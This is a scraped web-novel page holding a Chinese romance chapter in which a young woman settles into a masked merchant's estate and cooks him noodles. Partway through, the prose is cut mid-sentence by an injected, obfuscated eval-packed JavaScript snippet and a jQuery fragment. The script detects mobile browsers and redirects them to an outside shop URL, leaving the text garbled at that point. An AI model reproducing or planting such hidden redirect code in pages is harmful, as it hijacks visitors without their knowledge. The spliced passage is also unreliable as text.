默认冷灰
24号文字
方正启体

20. 先别看

作者:似却本书字数:K更新时间:
    听话?怎么才算听话。


    是被困在宅邸内不见天日却不抵抗那样?还是像曾经在尚书府里,待在小姐身边为她做好一切、同她侍奉帮护那样。


    如悄觉得是后者,可是偌大的宿江城里她见不到小姐。


    她望着眼前比起尚书府只大不小的院落,不忍频频看向身前的葡萄。


    在初见东家孟声平的次日。


    如悄便听话地跟随着葡萄与几名侍女一起,坐了半日时间的船。


    来到苏州旁的宿江。


    水渠延绵,她问过葡萄那个面具人的下落。


    “放心吧,东家说他死了,他便没有活路。”葡萄往后拉伸了下手,看着身侧警惕得像一只猫一样的如悄。


    又把这句话重复回了她一次。


    如悄神情淡淡,对她安抚一样地弯了弯眼睛。


    “我现在已经不担心这个了。”


    置办好的行囊衣服被送到了宅邸里,相关文书也已补全。


    切实地坐在床榻上时,如悄心中却仍然一跳一跳,在船上时是恐惧,而在这里是陌生。


    当两种情绪被消磨,理智、又渐渐开始对以往的认知进行敲打。


    是啊。崔袂怎么样了……


    她那时反应得很快,半跪在地上、真切地摸到了他的伤口,箭矢在胸口往下的位置扎得又深又紧。


    若是不及时医治后果不堪设想。


    可如悄没有办法去打听消息,一则她身边都是商会的人,二则,也不敢去打乱他本来的行程。


    对,不敢。


    如悄知道京城有位崔少将军。


    传闻崔家在陛下潜龙时期便是左膀右臂,只是如今崔将军镇守边疆,而少将军及冠后便身为禁军首领护在天子身侧。


    她的确没有见过他。


    也想不通,崔袂为何要装作“崔衣”,护她一路下江南。


    那些有关长安城里权贵勋爵、将相官员,诸般了解,都来自于老师的教诲与尤家提点,如悄只知皮毛,可窥一斑而见全豹,如今时局可谓初见动荡。


    她有些想念老师。


    也想念……罢,就让崔衣这个名字留在她的心底吧。


    如悄回拢情绪,望向那边正倒茶的小姑娘,葡萄今日还是一身喜气的红色裙子,进屋时把脑袋上的斗篷给拉了下来。


    茶盏冒着缕缕热气。


    “娘子若是没有其他事情,我就先去回东家的消息了。”见她抿茶的动作微顿,葡萄接着解释道:“东家处理好那边的事后便要回来。”


    “回来……”


    如悄斟酌着这个词。


    “娘子这个院叫溪阁,东家平日里住在正厅,我呢,在二位中间的青坞。”葡萄说罢便大大方方地走啦,留如悄独自消化话里的意思。


    门本来是歇开的,风一吹,“砰”地几声给撞关严实了来。


    “……”


    所以现在。


    她在孟声平的家里。


    刚出狼窝,又入虎穴,不过如此。


    可又有什么办法,如悄长睫低垂,屋内有些凉,眼前的居室虽然处在园林的边缘,看起来也仍比她在尚书府分到的房子要宽敞数倍。


    床也很大,这张床雕花又砌玉,朱漆为底平整讲究。


    看起来比整间房加起来还贵重。


    也很好睡。


    毋庸置疑的,在最后一点疑虑也被自己哄着接受后,只剩下满身疲惫,小半个人枕在塌上。


    竟然不知不觉眠了好一阵。


    梦里回到了那个长安城外的竹林,只这一次,她醒来时看见马车旁的火堆里,刘四与衣衣正争辩着整只烤鸡要怎么分。


    而后,她三人用一月的时间就赶到了江南,梦中的她举着令牌找到了老师要她去找的商会东家,一起过了热闹的春节。


    江南的天色。


    到入夜,便比白日里冷得多。


    如悄倏地从床上起身。


    好冷。


    她瑟缩地蜷在被褥里,忽而又觉得不该这样,埋着脸蛋缓和一些才赤着脚从一旁加了件厚披风,屋内一片漆黑,好在能看见门外灯影。


    不知怎得,她伸手时还怔了怔。


    像是突然清楚地意识到,她从这里走出去时、才是真真正正的梦醒。


    门被推开了,院内有两个年长些的女人在忙活,一个高瘦的举着扫帚在扫地,一个长得喜气的正在挨个点烛火。


    “娘子,您起了。”


    她们俩齐齐行了个礼。


    阿满先放下手里的烛火走了来:“东家吩咐,让我带您去灶房,看您想吃些什么,我是这溪阁管事的,您叫我满姨就行。”


    “这是苏婶子,她是个哑仆,品性和善,您放心使唤。”


    如悄对婶子点了点头,才红着脸,有机会往外走了几步。


    天冷着,她不免注意到两个人的衣着,都是厚重的,想来东家对府里的人都不错,她又想到刚才满姨话里的意思,东家应该是已经回府。


    却没有让她去拜会。


    莫名的让人觉得,有种眼不见心不烦的待遇。


    “满姨,如今是什么时候了?”


    “已经快戌时啦,咱们园子以往都是按的东家的规矩,到戌时末便不允许再在府内行走,如今娘子搬进来住,若是夜里有任何事,就来斋里寻我和苏婶子。”


    阿满是三十来岁的模样,话语里带着亲切,让如悄的心稍微安了些。


    屏山曲水是白日园林,入夜后,偏偏昏暗幽深。


    如悄有意记路,无果,便是晕浮浮的到了灶房。


    掌勺的是个年迈的老者,像是等了她许久,如悄脸热着说只吃些剩下的,老者并未多言,让她先去外边临水榭坐会,不久,端上来了一碗阳春面。


    她拿筷子时注意到筷子崭新。


    说起来,这还是她到这里后吃得第一顿当地特色美食。


    当然好吃。


    满姨在旁边和掌勺说了几句话,便目送走他,自个进去收拾着灶,没做多久,便看见如悄端着干净的碗,小声问她在哪里可以洗。


    是个能干孩子,但她不想让她劳累,让她自己出去逛会。


    如悄点点头。


    刚想转身走出去,就看见门外有人款步走来,他左颊上的面具在夜里漆黑一片看不清底色,浑身气息掩进了深寂,让人觉得不容靠近。


    孟声平。


    为什么这样的人会取这个名字。


    如悄将视线移走,便见葡萄从男人的身旁跑了过来,笑盈盈地喊道:“如悄娘子,你在这呀,好巧。”


    说罢不等她反应就径直走进灶房。


    想要避开是不成了,如悄只能拢了下自己的披风,走过来,望着男人站立的模样,欠身行礼:“东家。”


    “这次不跪了?”


    男人没有理会她的动作,微抬手。


    葡萄刚从灶房里又走出来,说道:“平日里也没见这老爷子走这么快。。”


    如悄伸手给她牵。


    望着葡萄让她放心的眼神,试图还回去自己想溜的意思。


    “既如此,倒是我来得不巧了。”


    孟声平似乎有意往两人这边垂了下眸,如悄以为会和他对视,却看见男人仍旧挺拔地站在原地。


    她开始回忆起方才他来时,身旁是葡萄扶着的。


    难道他的眼睛不好?


    入夜后会重影不清,以前尚书府中有个婆婆便是这个毛病,如悄还特意让她晚上多点些灯,当心不要摔倒。


    可是这个人连烛火都不点些。


    不然、她看见便早些回避了,总比现在在这干站着好。那就要不再和东家说几句话?她本来是怕他生气才没有回应,如今这句话落了空……


    身旁的葡萄当哑巴。嗯,她也要学她。


    “如悄。”


    孟声平说。


    他叫她名字时,嗓音如墨如潭,让人后颈发凉。


    “在、我在。”


    如悄也不知道自己原来又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021147|193139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怕又跃跃欲试的时候会无助地结巴。


    男人也不看她,也不再说话。


    是葡萄先解的围:“东家今日赶了四五个时辰的路,黄昏时回园子又处理了许多事,这下若是连饭都吃不上才是遭罪。”


    “我待会去街上买些夜馄饨吧,总之还未宵禁呢。”


    如悄努力让自己不结巴。


    “我会煮面……”


    她的声响并不大,在旁边的葡萄听得最真切,如悄看着她,她看着东家,东家似乎是在揣度他的意思。


    “那就麻烦娘子了,我也饿了。”


    葡萄直接给人往灶房里面带。


    里面正打扫的阿满应是听到了外面的动静,随口道:“麻烦娘子了,我们园子里人少,我是不会做饭的。”


    如悄拿扇子看了看灶上的柴火。


    烧得这么旺,像故意等着她似的。


    一碗地地道道油泼面。


    她不是笨蛋,她对孟声平掐她脸耿耿于怀,她要用辣椒惩罚他。


    葡萄端着这碗没见过的东西走出来时,只低头道:“东家,这碗面可能味道有些重,您吃的时候注意些。”


    那边的如悄端着后面这碗明显降低辣度的面出来,正想看他的动作。


    孟声平掌筷的手极稳,入口下去。


    没变化?


    如悄再认真闻了闻,这焦香味浸透了整个水榭,是因为透了出去才不显得呛人,她缩了缩鼻子。


    难道是江南一带的辣椒不够辣,也不对呀,她出锅之前特意给自己盛了一小碗。


    那就只剩下此人能吃辣了。


    此招又不成。


    如悄乖乖地坐到了葡萄对面,葡萄惊,好吃。


    “明日我需要早些起来吗,我还不知道我在园子里该做些什么。”


    她认真道。


    葡萄点点头:“午时之前起就行。”


    并未再多说了,如悄看着她吃得开心,自己也有些怀念以前偶尔做饭的日子,尚书府里自然不缺好吃的,但小姐喜欢看着她下厨。


    她也为了小姐学了许多拿手好菜。


    如悄想,小姐收到她到了的消息时一定能放心。


    “孟葡萄。”


    “来了!”


    葡萄对如悄笑了笑,转身往东家那边走,两人离开时,如悄盯紧了孟声平,总是给她种感觉——他只是因为对路径熟悉才显得走路正常。


    身后的阿满将灶房的灯吹熄了,看向斋内如悄远望的背影。


    做下人的,早已经不再对主人家有什么好奇了。


    但她乐意解答如悄娘子的困惑。


    如悄见她掌灯而来,只礼貌道:“我想沐浴,是否还方便帮我打盆水。”


    “娘子若是要沐浴,在溪阁旁是建有浴池的,夜里沐浴也不会凉,若是娘子现在需要,我便先带您回溪阁,再去问过东家的意思,吩咐人准备一下。”


    差点往前扑一踉跄。


    “东家的意思?”如悄觉得这路实在太黑了。


    阿满笑道:“是呀,浴池都是东家在用,不过里面无非就是那样的设计,男用女用无甚差别的。”


    天黑了也好,她现在整个脸蛋都烧了起来,怕是红透了。


    “我还是打水好了……”


    阿满:“天寒地冻的,又夜深了,屋内还未烧暖和,娘子着凉怎么办。”


    “我真的就打盆水简单沐浴一下。”


    阿满:“哎,我是今日才见着娘子,若是娘子有什么闪失,我可得被东家问责呢。”


    “我身体好,真的。”


    阿满:“娘子从那么远的地方来,正要好好沐浴休息一下呀。”


    “我睡个好觉就成,打水吧。”


    “……”


    “娘子,估摸着天黑了,没水了。”


    如悄看着满姨脸上看不出一点胡诌的意思,再望向溪阁里,苏婶子正往院子里倒水拖地。


    三人相顾无言。


    她松口了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)